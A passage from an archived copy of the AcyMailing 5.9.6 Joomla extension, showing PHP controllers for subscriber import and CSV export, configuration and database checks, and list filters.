		acymailing_enqueueMessage(acymailing_translation('ACY_FIELDSLOADED'));
		return parent::display();
	}

	function doimport(){
		if(!$this->isAllowed('subscriber', 'import')) return;
		acymailing_checkToken();

		$function = acymailing_getVar('cmd', 'importfrom');

		$importHelper = acymailing_get('helper.import');
		if(!$importHelper->$function()){
			return $this->import();
		}

		if($function == 'textarea' || $function == 'file'){
			if(file_exists(ACYMAILING_MEDIA.'import'.DS.acymailing_getVar('cmd', 'filename'))) $importContent = file_get_contents(ACYMAILING_MEDIA.'import'.DS.acymailing_getVar('cmd', 'filename'));
			if(empty($importContent)){
				acymailing_enqueueMessage(acymailing_translation('ACY_IMPORT_NO_CONTENT'), 'error');
				acymailing_redirect(acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'data&task=import', false, true));
			}else{
				acymailing_setVar('layout', 'genericimport');
				return parent::display();
			}
		}else{
			acymailing_redirect(acymailing_completeLink(acymailing_isAdmin() ? 'subscriber' : 'frontsubscriber', false, true));
		}
	}

	function finalizeimport(){
		$importHelper = acymailing_get('helper.import');
		$importHelper->finalizeImport();
		acymailing_redirect(acymailing_completeLink(acymailing_isAdmin() ? 'subscriber' : 'frontsubscriber', false, true));
	}

	function downloadimport(){
		$filename = acymailing_getVar('cmd', 'filename');
		if(!file_exists(ACYMAILING_MEDIA.'import'.DS.$filename.'.csv')) return;
		$exportHelper = acymailing_get('helper.export');
		$exportHelper->addHeaders($filename);
		echo file_get_contents(ACYMAILING_MEDIA.'import'.DS.$filename.'.csv');
		exit;
	}

	function ajaxencoding(){
		acymailing_setVar('layout', 'ajaxencoding');
		parent::display();
		exit;
	}

	function ajaxload(){
		if(!$this->isAllowed('subscriber', 'import')) return;

		$function = acymailing_getVar('cmd', 'importfrom').'_ajax';

		$importHelper = acymailing_get('helper.import');
		$importHelper->$function();
		exit;
	}

    function exportError($message){
        if(!acymailing_isAdmin()) die($message);

        acymailing_enqueueMessage($message, 'error');

		if(!ACYMAILING_J40){
			$menuHelper = acymailing_get('helper.acymenu');
			echo '<div id="acyallcontent" class="acyallcontent">';
			echo $menuHelper->display('data');
			echo '<div id="acymainarea" class="acymaincontent_data">';
		}

        acymailing_setVar('layout', 'export');
        parent::display();

		if(!ACYMAILING_J40) echo '</div></div>';
        return false;
    }

	function doexport(){
		$assocField = 'subid';
		if(!$this->isAllowed('subscriber', 'export')) return;
		acymailing_checkToken();

		acymailing_increasePerf();

		$filtersExport = acymailing_getVar('array', 'exportfilter', array(), '');
		$listsToExport = acymailing_getVar('none', 'exportlists');

		$fieldsToExport = acymailing_getVar('none', 'exportdata');
		if(!in_array('1', array_values($fieldsToExport))) return $this->exportError('Please select at least one field to export');
		$tableFields = acymailing_getColumns('#__acymailing_subscriber');
		$notAllowedFields = array_diff_key($fieldsToExport, $tableFields);
		if(!empty($notAllowedFields)) return $this->exportError('The field '.implode(', ', array_keys($notAllowedFields)).' is not in the allowed fields: '.implode(', ', array_keys($tableFields)));

		$fieldsToExportList = acymailing_getVar('none', 'exportdatalist');
		$notAllowedFields = array_diff(array_keys($fieldsToExportList), array('listid', 'listname'));
		if(!empty($notAllowedFields)) return $this->exportError('The field '.implode(', ', $notAllowedFields).' is not in the allowed fields: listid, listname');

		$fieldsToExportOthers = acymailing_getVar('none', 'exportdataother');

		$fieldsToExportGeoloc = acymailing_getVar('none', 'exportdatageoloc');
		$tableFields = acymailing_getColumns('#__acymailing_geolocation');
		$notAllowedFields = array_diff_key($fieldsToExportGeoloc, $tableFields);
		if(!empty($notAllowedFields)) return $this->exportError('The field '.implode(', ', array_keys($notAllowedFields)).' is not in the allowed fields: '.implode(', ', array_keys($tableFields)));

		$inseparator = acymailing_getVar('string', 'exportseparator');
		$inseparator = str_replace(array('semicolon', 'colon', 'comma'), array(';', ',', ','), $inseparator);
		$exportFormat = acymailing_getVar('string', 'exportformat');
		if(!in_array($inseparator, array(',', ';'))) $inseparator = ';';

		$exportUnsubLists = array();
		$exportWaitLists = array();
		$exportLists = array();
		if(!empty($filtersExport['subscribed'])){
			foreach($listsToExport as $listid => $status){
				if($status == -1){
					$exportUnsubLists[] = (int)$listid;
				}elseif($status == 2) $exportWaitLists[] = (int)$listid;
				elseif(!empty($status)) $exportLists[] = (int)$listid;
			}
		}

		if(!acymailing_isAdmin() && (empty($filtersExport['subscribed']) || (empty($exportLists) && empty($exportUnsubLists) && empty($exportWaitLists)))){
			$listClass = acymailing_get('class.list');
			$frontLists = $listClass->getFrontendLists();
			foreach($frontLists as $frontList){
				$exportLists[] = (int)$frontList->listid;
			}
		}

		$exportFields = array();
		$exportFieldsList = array();
		$exportFieldsOthers = array();
		$exportFieldsGeoloc = array();
		foreach($fieldsToExport as $fieldName => $checked){
			if(!empty($checked)) $exportFields[] = acymailing_secureField($fieldName);
		}
		foreach($fieldsToExportList as $fieldName => $checked){
			if(!empty($checked)) $exportFieldsList[] = acymailing_secureField($fieldName);
		}
		if(!empty($fieldsToExportOthers)){
			foreach($fieldsToExportOthers as $fieldName => $checked){
				if(!empty($checked)) $exportFieldsOthers[] = acymailing_secureField($fieldName);
			}
		}
		if(!empty($fieldsToExportGeoloc)){
			foreach($fieldsToExportGeoloc as $fieldName => $checked){
				if(!empty($checked)) $exportFieldsGeoloc[] = acymailing_secureField($fieldName);
			}
		}

		$selectFields = 's.`'.implode('`, s.`', $exportFields).'`';

		$config = acymailing_config();
		$newConfig = new stdClass();
		$newConfig->export_fields = implode(',', array_merge($exportFields, $exportFieldsOthers, $exportFieldsList, $exportFieldsGeoloc));
		$newConfig->export_lists = implode(',', $exportLists);
		$newConfig->export_separator = acymailing_getVar('string', 'exportseparator');
		$newConfig->export_excelsecurity = acymailing_getVar('int', 'export_excelsecurity', 0);
		$newConfig->export_format = $exportFormat;
		$filterActive = array();
		foreach($filtersExport as $filterKey => $value){
			if($value == 1) $filterActive[] = $filterKey;
		}
		$newConfig->export_filters = implode(',', $filterActive);
		$config->save($newConfig);

		$where = array();
		if(empty($exportLists) && empty($exportUnsubLists) && empty($exportWaitLists)){
			$querySelect = 'SELECT s.`subid`, '.$selectFields.' FROM '.acymailing_table('subscriber').' as s';
		}else{
			$querySelect = 'SELECT DISTINCT s.`subid`, '.$selectFields.' FROM '.acymailing_table('listsub').' as a JOIN '.acymailing_table('subscriber').' as s on a.subid = s.subid';
			if(!empty($exportLists)) $conditions[] = 'a.status = 1 AND a.listid IN ('.implode(',', $exportLists).')';
			if(!empty($exportUnsubLists)) $conditions[] = 'a.status = -1 AND a.listid IN ('.implode(',', $exportUnsubLists).')';
			if(!empty($exportWaitLists)) $conditions[] = 'a.status = 2 AND a.listid IN ('.implode(',', $exportWaitLists).')';

			if(count($conditions) == 1){
				$where[] = $conditions[0];
			}else $where[] = '('.implode(') OR (', $conditions).')';
		}

		if(!empty($filtersExport['confirmed'])) $where[] = 's.confirmed = 1';
		if(!empty($filtersExport['registered'])) $where[] = 's.userid > 0';
		if(!empty($filtersExport['enabled'])) $where[] = 's.enabled = 1';
		
		if(acymailing_getVar('int', 'sessionvalues') AND !empty($_SESSION['acymailing']['exportusers'])){
			$where[] = 's.subid IN ('.implode(',', $_SESSION['acymailing']['exportusers']).')';
		}

		if(acymailing_getVar('int', 'fieldfilters')){
			foreach($_SESSION['acymailing']['fieldfilter'] as $field => $value){
				$where[] = 's.'.acymailing_secureField($field).' LIKE "%'.acymailing_getEscaped($value, true).'%"';
			}
		}

		$query = $querySelect;
		if(!empty($where)) $query .= ' WHERE ('.implode(') AND (', $where).')';
		if(acymailing_getVar('int', 'sessionquery')){
			$selectOthers = '';
			if(!empty($exportFieldsOthers)){
				foreach($exportFieldsOthers as $oneField){
					$selectOthers .= ' , '.$oneField.' AS '.str_replace('.', '_', $oneField);
				}
			}
			acymailing_session();
			$acyExportQuery = $_SESSION['acymailing']['acyexportquery'];
			if(strpos($acyExportQuery, 'urlclick') !== false) {
				$query = 'SELECT s.`subid`, '.$selectFields.$selectOthers.' '.$acyExportQuery;
				$assocField = '';
			} else {
				$query = 'SELECT DISTINCT s.`subid`, '.$selectFields.$selectOthers.' '.$acyExportQuery;
			}
		}
		$query .= ' ORDER BY s.subid';

		$encodingClass = acymailing_get('helper.encoding');
		$exportHelper = acymailing_get('helper.export');

		$fileName = 'export_'.date('Y-m-d');
		if(!empty($exportLists) && !empty($filtersExport['subscribed'])){
			$fileName = '';
			$allExportedLists = acymailing_loadObjectList('SELECT name FROM #__acymailing_list WHERE listid IN ('.implode(',', $exportLists).')');
			foreach($allExportedLists as $oneList){
				$fileName .= '__'.$oneList->name;
			}
			$fileName = trim($fileName, '__');
		}

		$exportHelper->addHeaders($fileName);
		acymailing_displayErrors();

		$eol = "\r\n";
		$before = '"';
		$separator = '"'.$inseparator.'"';
		$after = '"';

		$allFields = array_merge($exportFields, $exportFieldsOthers);
		if(!empty($exportFieldsList)){
			$allFields = array_merge($allFields, $exportFieldsList);
			$selectFields = 'l.`'.implode('`, l.`', $exportFieldsList).'`';
			$selectFields = str_replace('listname', 'name', $selectFields);
		}
		if(!empty($exportFieldsGeoloc)){
			$allFields = array_merge($allFields, $exportFieldsGeoloc);
		}

		$titleLine = $before.implode($separator, $allFields).$after.$eol;
		$titleLine = str_replace('listid', 'listids', $titleLine);
		echo $titleLine;

		if(acymailing_bytes(ini_get('memory_limit')) > 150000000){
			$nbExport = 50000;
		}elseif(acymailing_bytes(ini_get('memory_limit')) > 80000000){
			$nbExport = 15000;
		}else{
			$nbExport = 5000;
		}

		if(!empty($exportFieldsList)) $nbExport = 500;

		$valDep = 0;
		$dateFields = array('created', 'confirmed_date', 'lastopen_date', 'lastclick_date', 'lastsent_date', 'userstats_opendate', 'userstats_senddate', 'urlclick_date', 'hist_date');
		do{
			$allData = acymailing_loadObjectList($query.' LIMIT '.$valDep.', '.$nbExport, $assocField);
			$valDep += $nbExport;
			if($allData === false){
				echo $eol.$eol.'Error : '.acymailing_getDBError();
			}
			if(empty($allData)) break;

			foreach($allData as $subid => &$oneUser){
				if(!in_array('subid', $exportFields)) unset($allData[$subid]->subid);

				foreach($dateFields as &$fieldName){
					if(isset($allData[$subid]->$fieldName)) $allData[$subid]->$fieldName = acymailing_getDate($allData[$subid]->$fieldName, '%Y-%m-%d %H:%M:%S');
				}
			}

			if(!empty($exportFieldsList) && !empty($allData)){
				$queryList = 'SELECT '.$selectFields.', s.subid
								FROM #__acymailing_subscriber AS s
								LEFT JOIN #__acymailing_listsub AS ls ON ls.subid = s.subid AND ls.status = 1 ';
				if(!empty($exportLists)) $queryList .= 'AND ls.listid IN ('.implode(',', $exportLists).') ';
				$queryList .= 'LEFT JOIN #__acymailing_list AS l ON ls.listid = l.listid
								WHERE s.subid IN ('.implode(',', array_keys($allData)).')';
				$resList = acymailing_loadObjectList($queryList);
				foreach($resList as &$listsub){
					if(in_array('listid', $exportFieldsList)) $allData[$listsub->subid]->listid = empty($allData[$listsub->subid]->listid) ? $listsub->listid : $allData[$listsub->subid]->listid.' - '.$listsub->listid;
					if(in_array('listname', $exportFieldsList)) $allData[$listsub->subid]->listname = empty($allData[$listsub->subid]->listname) ? $listsub->name : $allData[$listsub->subid]->listname.' - '.$listsub->name;
				}
				unset($resList);
			}

			if(!empty($exportFieldsGeoloc) && !empty($allData)){
				$orderGeoloc = acymailing_getVar('cmd', 'exportgeolocorder');
				if(strtolower($orderGeoloc) !== 'desc') $orderGeoloc = 'asc';
				$resGeol = acymailing_loadObjectList('SELECT geolocation_subid,'.implode(', ', $exportFieldsGeoloc).' FROM (SELECT * FROM #__acymailing_geolocation WHERE geolocation_subid IN ('.implode(',', array_keys($allData)).') ORDER BY geolocation_id '.$orderGeoloc.') as geoloc GROUP BY geolocation_subid', 'geolocation_subid');
				foreach($allData as $subid => $oneSubscriber){
					foreach($exportFieldsGeoloc as $geolField){
						$value = empty($resGeol[$subid]) ? '' : $resGeol[$subid]->$geolField;
						$allData[$subid]->$geolField = ($geolField == 'geolocation_created' ? acymailing_getDate($value, '%Y-%m-%d %H:%M:%S') : $value);
					}
				}
				unset($resGeol);
			}


			foreach($allData as $subid => &$oneUser){
				$data = get_object_vars($oneUser);

				if($newConfig->export_excelsecurity == 1){
					foreach ($data as &$oneData){
						$firstcharacter = substr($oneData, 0, 1);
						if(in_array($firstcharacter, array('=', '+', '-', '@'))){
							$oneData = '	'.$oneData;
						}
					}
				}

				$dataexport = implode($separator, $data);
				echo $before.$encodingClass->change($dataexport, 'UTF-8', $exportFormat).$after.$eol;
			}

			unset($allData);
		}while(true);
		exit;
	}
}
com_acymailing/controllers/cpanel.php000060400000035701152455305300014044 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class CpanelController extends acymailingController{


	function __construct($config = array()){
		parent::__construct($config);
		$this->registerDefaultTask('display');
	}

	function save(){
		$this->store();
		return $this->cancel();
	}

	function apply(){
		$this->store();
		return $this->display();
	}

	function listing(){
		if(!$this->isAllowed('configuration', 'manage')) return;
		return $this->display();
	}

	function store(){
		if(!$this->isAllowed('configuration', 'manage')) return;
		acymailing_checkToken();

		$config = acymailing_config();

		$source = is_array($_POST['config']) ? 'POST' : 'REQUEST';
		$formData = acymailing_getVar('array', 'config', array(), $source);

		$aclcats = acymailing_getVar('array', 'aclcat', array(), 'POST');

		if(!empty($aclcats)){

			if(acymailing_getVar('string', 'acl_configuration', 'all') != 'all' && !acymailing_isAllowed($formData['acl_configuration_manage'])){
				acymailing_enqueueMessage(acymailing_translation('ACL_WRONG_CONFIG'), 'notice');
				unset($formData['acl_configuration_manage']);
			}

			$deleteAclCats = array();
			$unsetVars = array('save', 'create', 'manage', 'modify', 'delete', 'fields', 'export', 'import', 'view', 'send', 'schedule', 'bounce', 'test');
			foreach($aclcats as $oneCat){
				if(acymailing_getVar('string', 'acl_'.$oneCat) == 'all'){
					foreach($unsetVars as $oneVar){
						unset($formData['acl_'.$oneCat.'_'.$oneVar]);
					}
					$deleteAclCats[] = $oneCat;
				}
			}
		}


		if(!empty($formData['hostname'])){
			$formData['hostname'] = preg_replace('#https?://#i', '', $formData['hostname']);
			$formData['hostname'] = preg_replace('#[^a-z0-9_.-]#i', '', $formData['hostname']);
		}

		$reasons = acymailing_getVar('array', 'unsub_reasons', array(), 'POST');
		$unsub_reasons = array();
		foreach($reasons as $oneReason){
			if(empty($oneReason)) continue;
			$unsub_reasons[] = strip_tags($oneReason);
		}
		$formData['unsub_reasons'] = serialize($unsub_reasons);

		if(!empty($formData['smtp_username'])) $formData['smtp_username'] = acymailing_punycode($formData['smtp_username']);

		$status = $config->save($formData);

		if(!empty($deleteAclCats)){
			acymailing_query("DELETE FROM `#__acymailing_config` WHERE `namekey` LIKE 'acl_".implode("%' OR `namekey` LIKE 'acl_", $deleteAclCats)."%'");
		}

		if($status){
			acymailing_enqueueMessage(acymailing_translation('JOOMEXT_SUCC_SAVED'), 'message');
		}else{
			acymailing_enqueueMessage(acymailing_translation('ERROR_SAVING'), 'error');
		}

		$config->load();
	}

	function test(){
		if(!$this->isAllowed('configuration', 'manage')) return;
		$this->store();

		acymailing_displayErrors();

		$config = acymailing_config();

		$mailClass = acymailing_get('helper.mailer');
		$addedName = $config->get('add_names', true) ? $mailClass->cleanText(acymailing_currentUserName()) : '';
		$mailClass->AddAddress(acymailing_currentUserEmail(), $addedName);
		$mailClass->Subject = 'Test e-mail from '.ACYMAILING_LIVE;
		$mailClass->Body = acymailing_translation('TEST_EMAIL');
		$mailClass->SMTPDebug = 1;
		if(acymailing_isDebug()) $mailClass->SMTPDebug = 2;
		$result = $mailClass->send();

		if(!$result){
			$bounce = $config->get('bounce_email');
			if($config->get('mailer_method') == 'smtp' && $config->get('smtp_secured') == 'ssl' && !function_exists('openssl_sign')){
				acymailing_enqueueMessage('The PHP Extension openssl is not enabled on your server, this extension is required to use an SSL connection, please enable it', 'notice');
			}elseif(!empty($bounce) AND !in_array($config->get('mailer_method'), array('smtp', 'elasticemail'))){
				acymailing_enqueueMessage(acymailing_translation_sprintf('ADVICE_BOUNCE', '<b><i>'.$bounce.'</i></b>'), 'notice');
			}elseif($config->get('mailer_method') == 'smtp' AND !$config->get('smtp_auth') AND strlen($config->get('smtp_password')) > 1){
				acymailing_enqueueMessage(acymailing_translation('ADVICE_SMTP_AUTH'), 'notice');
			}elseif((strpos(ACYMAILING_LIVE, 'localhost') OR strpos(ACYMAILING_LIVE, '127.0.0.1')) AND in_array($config->get('mailer_method'), array('sendmail', 'qmail', 'mail'))){
				acymailing_enqueueMessage(acymailing_translation('ADVICE_LOCALHOST'), 'notice');
			}elseif($config->get('mailer_method') == 'smtp' AND $config->get('smtp_port') AND !in_array($config->get('smtp_port'), array(25, 2525, 465, 587))){
				acymailing_enqueueMessage(acymailing_translation_sprintf('ADVICE_PORT', $config->get('smtp_port')), 'notice');
			}
		}

		return $this->display();
	}

	function plgtrigger(){
		$pluginToTrigger = acymailing_getVar('cmd', 'plg');
		$pluginType = acymailing_getVar('cmd', 'plgtype', 'acymailing');
		$fctName = 'onAcy'.acymailing_getVar('cmd', 'fctName', 'TestPlugin');
		$methodParam = acymailing_getVar('cmd', 'param', 'NoParam');

		if(!ACYMAILING_J16){
			$path = JPATH_PLUGINS.DS.$pluginType.DS.$pluginToTrigger.'.php';
		}else{
			$path = JPATH_PLUGINS.DS.$pluginType.DS.$pluginToTrigger.DS.$pluginToTrigger.'.php';
		}

		if(!file_exists($path)){
			acymailing_display('Plugin not found: '.$path, 'error');
			return;
		}

		require_once($path);
		$className = 'plg'.$pluginType.$pluginToTrigger;
		if(!class_exists($className)){
			acymailing_display('Class not found: '.$className, 'error');
			return;
		}

		$dispatcher = ACYMAILING_J40 ? \JFactory::getApplication()->getDispatcher() : JDispatcher::getInstance();
		$instance = new $className($dispatcher, array('name' => $pluginToTrigger, 'type' => $pluginType));

		$fctName = ($fctName == 'onAcyTestPlugin') ? 'onTestPlugin' : $fctName;
		if(!method_exists($instance, $fctName)){
			acymailing_display('Method "'.$fctName.'" not found in: '.$className, 'error');
			return;
		}

		if($methodParam == 'NoParam'){
			$instance->$fctName();
		}else $instance->$fctName($methodParam);
		return;
	}

	function seereport(){
		if(!$this->isAllowed('configuration', 'manage')) return;
		$config = acymailing_config();

		$path = trim(html_entity_decode($config->get('cron_savepath')));
		if(!preg_match('#^[a-z0-9/_\-{}]*\.log$#i', $path)){
			acymailing_display('The log file must only contain alphanumeric characters and end with .log', 'error');
			return;
		}

		$path = str_replace(array('{year}', '{month}'), array(date('Y'), date('m')), $config->get('cron_savepath'));

		$reportPath = acymailing_cleanPath(ACYMAILING_ROOT.$path);

		if(file_exists($reportPath)){
			try{
				$lines = 10000;
				$f = fopen($reportPath, "rb");
				fseek($f, -1, SEEK_END);
				if(fread($f, 1) != "\n") $lines -= 1;

				$logFile = '';
				while(ftell($f) > 0 && $lines >= 0){
					$seek = min(ftell($f), 4096); // Figure out how far back we should jump
					fseek($f, -$seek, SEEK_CUR);
					$logFile = ($chunk = fread($f, $seek)).$logFile; // Get the line
					fseek($f, -mb_strlen($chunk, '8bit'), SEEK_CUR);
					$lines -= substr_count($chunk, "\n"); // Move to previous line
				}

				while($lines++ < 0){
					$logFile = substr($logFile, strpos($logFile, "\n") + 1);
				}
				fclose($f);
			}catch(Exception $e){
				$logFile = '';
			}
		}

		if(empty($logFile)){
			acymailing_display(acymailing_translation('EMPTY_LOG'), 'info');
		}else{
			echo nl2br($logFile);
		}
	}

	function cleanreport(){
		if(!$this->isAllowed('configuration', 'manage')) return;

		$config = acymailing_config();
		$path = trim(html_entity_decode($config->get('cron_savepath')));
		if(!preg_match('#^[a-z0-9/_\-{}]*\.log$#i', $path)){
			acymailing_display('The log file must only contain alphanumeric characters and end with .log', 'error');
			return;
		}

		$path = str_replace(array('{year}', '{month}'), array(date('Y'), date('m')), $config->get('cron_savepath'));

		$reportPath = acymailing_cleanPath(ACYMAILING_ROOT.$path);
		if(is_file($reportPath)){
			$result = acymailing_deleteFile($reportPath);
			if($result){
				acymailing_display(acymailing_translation('SUCC_DELETE_LOG'), 'success');
			}else{
				acymailing_display(acymailing_translation('ERROR_DELETE_LOG'), 'error');
			}
		}else{
			acymailing_display(acymailing_translation('EXIST_LOG'), 'info');
		}
	}

	function cancel(){
		acymailing_redirect(acymailing_completeLink('dashboard', false, true));
	}

	function checkDB(){
		$queries = file_get_contents(ACYMAILING_BACK.'tables.sql');
		$tables = explode("CREATE TABLE IF NOT EXISTS", $queries);
		$structure = array();
		$createTable = array();
		$indexes = array();
		foreach($tables as $oneTable){
			$fields = explode("\n\t", $oneTable);
			$tableNameTmp = substr($oneTable, strpos($oneTable, '`') + 1, strlen($oneTable) - 1);
			$tableName = substr($tableNameTmp, 0, strpos($tableNameTmp, '`'));
			if(empty($tableName)) continue;
			foreach($fields as $oneField){
				if(strpos($oneField, '#__')) continue;

				if(substr($oneField, 0, 1) == '`'){
					$fieldNameTmp = substr($oneField, strpos($oneField, '`') + 1, strlen($oneField) - 1);
					$fieldName = substr($fieldNameTmp, 0, strpos($fieldNameTmp, '`'));
					$structure[$tableName][$fieldName] = trim($oneField, ",");
					continue;
				}


				$oneField = trim(str_replace("\n) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;", '', $oneField));
        		$oneField = rtrim($oneField, ',');

				if(strpos($oneField, 'PRIMARY KEY') !== false){
					$indexes[$tableName]['PRIMARY'] = $oneField;
				}else if(strpos($oneField, 'KEY') !== false){
					$firstBackquotePos = strpos($oneField, '`');
					$indexName = substr($oneField, $firstBackquotePos+1, strpos($oneField, '`', $firstBackquotePos+1)-$firstBackquotePos-1);
					$indexes[$tableName][$indexName] = $oneField;
				}
			}
			$createTable[$tableName] = "CREATE TABLE IF NOT EXISTS ".$oneTable;
		}

		$tableNames = array_keys($structure);
		$structureDB = array();
		foreach($tableNames as $oneTableName){
			try{
				$fields2 = acymailing_loadObjectList("SHOW COLUMNS FROM ".$oneTableName);
			}catch(Exception $e){
				$fields2 = null;
			}
			if($fields2 == null){
				$errorMessage = (isset($e) ? $e->getMessage() : substr(strip_tags(acymailing_getDBError()), 0, 200));
				echo "<span style=\"color:blue\">Could not load columns from the table : ".$oneTableName." : ".$errorMessage."</span><br />";

				if(strpos($errorMessage, 'marked as crashed')){
					$repairQuery = 'REPAIR TABLE '.$oneTableName;

					try{
						$isError = acymailing_query($repairQuery);
					}catch(Exception $e){
						$isError = null;
					}
					if($isError === null){
						echo "<span style=\"color:red\">[ERROR]Could not repair the table ".$oneTableName." </span><br />";
						acymailing_display(isset($e) ? $e->getMessage() : substr(strip_tags(acymailing_getDBError()), 0, 200).'...', 'error');
					}else{
						echo "<span style=\"color:green\">[OK]Problem solved : Table ".$oneTableName." repaired</span><br />";
					}
					continue;
				}

				try{
					$isError = acymailing_query($createTable[$oneTableName]);
				}catch(Exception $e){
					$isError = null;
				}
				if($isError === null){
					echo "<span style=\"color:red\">[ERROR]Could not create the table ".$oneTableName." </span><br />";
					acymailing_display(isset($e) ? $e->getMessage() : substr(strip_tags(acymailing_getDBError()), 0, 200).'...', 'error');
				}else{
					echo "<span style=\"color:green\">[OK]Problem solved : Table ".$oneTableName." created</span><br />";
				}
				continue;
			}
			foreach($fields2 as $oneField){
				$structureDB[$oneTableName][$oneField->Field] = $oneField->Field;
			}
		}

		foreach($tableNames as $oneTableName){
			if(empty($structureDB[$oneTableName])) continue;
			$resultCompare[$oneTableName] = array_diff(array_keys($structure[$oneTableName]), $structureDB[$oneTableName]);
			if(empty($resultCompare[$oneTableName])){
				echo "<span style=\"color:green\">Table ".$oneTableName." OK</span><br />";
				continue;
			}
			foreach($resultCompare[$oneTableName] as $oneField){
				echo "<span style=\"color:blue\">Field ".$oneField." missing in ".$oneTableName."</span><br />";
				try{
					$isError = acymailing_query("ALTER TABLE ".$oneTableName." ADD ".$structure[$oneTableName][$oneField]);
				}catch(Exception $e){
					$isError = null;
				}
				if($isError === null){
					echo "<span style=\"color:red\">[ERROR]Could not add the field ".$oneField." on the table : ".$oneTableName."</span><br />";
					acymailing_display(isset($e) ? $e->getMessage() : substr(strip_tags(acymailing_getDBError()), 0, 200).'...', 'error');
					continue;
				}else{
					echo "<span style=\"color:green\">[OK]Problem solved : Add ".$oneField." in ".$oneTableName."</span><br />";
				}
			}
		}

		foreach($tableNames as $oneTableName){
			if(empty($structureDB[$oneTableName])) continue;

			$results = acymailing_loadObjectList('SHOW INDEX FROM '.$oneTableName, 'Key_name');
			if(empty($results)) continue;

			foreach($indexes[$oneTableName] as $name => $query){
				if(in_array($name, array_keys($results))) continue;

				$keyName = $name == 'PRIMARY' ? 'primary key' : 'index '.$name;

				echo "<span style=\"color:blue\">".$keyName." missing in ".$oneTableName."</span><br />";
				try{
					$isError = acymailing_query('ALTER TABLE '.$oneTableName.' ADD '.$query);
				}catch(Exception $e){
					$isError = null;
				}

				if($isError === null){
					echo "<span style=\"color:red\">[ERROR]Could not add the ".$keyName." on the table : ".$oneTableName."</span><br />";
					acymailing_display(substr(strip_tags(acymailing_getDBError()), 0, 200).'...', 'error');
				}else{
					echo "<span style=\"color:green\">[OK]Problem solved : Added ".$keyName." in ".$oneTableName."</span><br />";
				}
			}
		}

		$nbdeleted = acymailing_query("DELETE listsub.* FROM #__acymailing_listsub as listsub LEFT JOIN #__acymailing_subscriber as sub ON sub.subid = listsub.subid WHERE sub.subid IS NULL");
		if(!empty($nbdeleted)){
			echo "<span style=\"color:blue\">".$nbdeleted." lost subscriber entries fixed</span><br />";
		}

		$nbdeleted = acymailing_query("DELETE listsub.* FROM #__acymailing_listsub AS listsub LEFT JOIN #__acymailing_list AS b ON listsub.listid = b.listid WHERE b.listid IS NULL");
		if(!empty($nbdeleted)){
			echo "<span style=\"color:blue\">".$nbdeleted." lost list entries fixed</span><br />";
		}

		$customFields = array_keys(acymailing_loadObjectList('SELECT namekey FROM #__acymailing_fields WHERE type NOT IN (\'category\',\'customtext\')', 'namekey'));
		$subFields = acymailing_loadObjectList("SHOW COLUMNS FROM #__acymailing_subscriber");
		$subFieldsName = array();
		foreach($subFields as $oneField){
			$subFieldsName[] = $oneField->Field;
		}
		$fieldsDiff = array_diff($customFields, $subFieldsName);
		if(!empty($fieldsDiff)){
			echo '<span style="color:red;">At least one field is missing in the subscriber table or has not the same case between fields and subscriber table (they should all be lower case): <span style="font-weight: bold">'.implode(', ', $fieldsDiff).'</span>. You should only create fields using the custom fields interface.</span>';
		}else{
			echo '<span style="color:green;">Custom fields OK</span>';
		}
	}
}
com_acymailing/controllers/filter.php000060400000005344152455305300014067 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class FilterController extends acymailingController{
	var $pkey = 'filid';
	var $table = 'filter';

	function listing(){
		return $this->add();
	}

	function countresults(){
		$num = acymailing_getVar('int', 'num');
		$filters = acymailing_getVar('none', 'filter');

		foreach($filters['type'] as $block => $oneType){
			if(!empty($oneType[$num])){
				$currentType = $oneType[$num];
				break;
			}
		}
		if(empty($currentType)) die('No filter type found for the num '.intval($num));
		if(empty($filters[$num][$currentType])) die('No filter parameters found for the num '.intval($num));

		$filterClass = acymailing_get('class.filter'); // Keep it, it loads the acyQuery class
		$query = new acyQuery();

		$currentFilterData = $filters[$num][$currentType];
		acymailing_importPlugin('acymailing');
		$messages = acymailing_trigger('onAcyProcessFilterCount_'.$currentType, array(&$query,$currentFilterData,$num));
		echo implode(' | ',$messages);
		exit;
	}

	function displayCondFilter(){
		acymailing_importPlugin('acymailing');
		$fct = acymailing_getVar('none', 'fct');

		$message = acymailing_trigger('onAcyTriggerFct_'.$fct);
		echo implode(' | ',$message);
		exit;
	}

	function process(){
		if(!$this->isAllowed('lists','filter')) return;
		acymailing_checkToken();

		$filid = acymailing_getVar('int', 'filid');
		if(!empty($filid)){
			$this->store();
		}

		$filterClass = acymailing_get('class.filter');
		$filterClass->subid = acymailing_getVar('string', 'subid');
		$filterClass->execute(acymailing_getVar('none', 'filter'),acymailing_getVar('none', 'action'), 100000);

		if(!empty($filterClass->report)){
			if(acymailing_isNoTemplate()){
				acymailing_display($filterClass->report,'info');
				return;
			}else{
				foreach($filterClass->report as $oneReport){
					acymailing_enqueueMessage($oneReport);
				}
			}
		}
		return $this->edit();
	}

	function filterDisplayUsers(){
		if(!$this->isAllowed('lists','filter')) return;
		acymailing_checkToken();
		return $this->edit();
	}

	function store(){
		if(!$this->isAllowed('lists','filter')) return;
		acymailing_checkToken();

		$class = acymailing_get('class.filter');
		$status = $class->saveForm();
		if($status){
			acymailing_enqueueMessage(acymailing_translation( 'JOOMEXT_SUCC_SAVED' ), 'message');
		}else{
			acymailing_enqueueMessage(acymailing_translation( 'ERROR_SAVING' ), 'error');
			if(!empty($class->errors)){
				foreach($class->errors as $oneError){
					acymailing_enqueueMessage($oneError, 'error');
				}
			}
		}
	}
}
com_acymailing/controllers/template.php000060400000020074152455305300014412 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class TemplateController extends acymailingController{

	var $pkey = 'tempid';
	var $table = 'template';
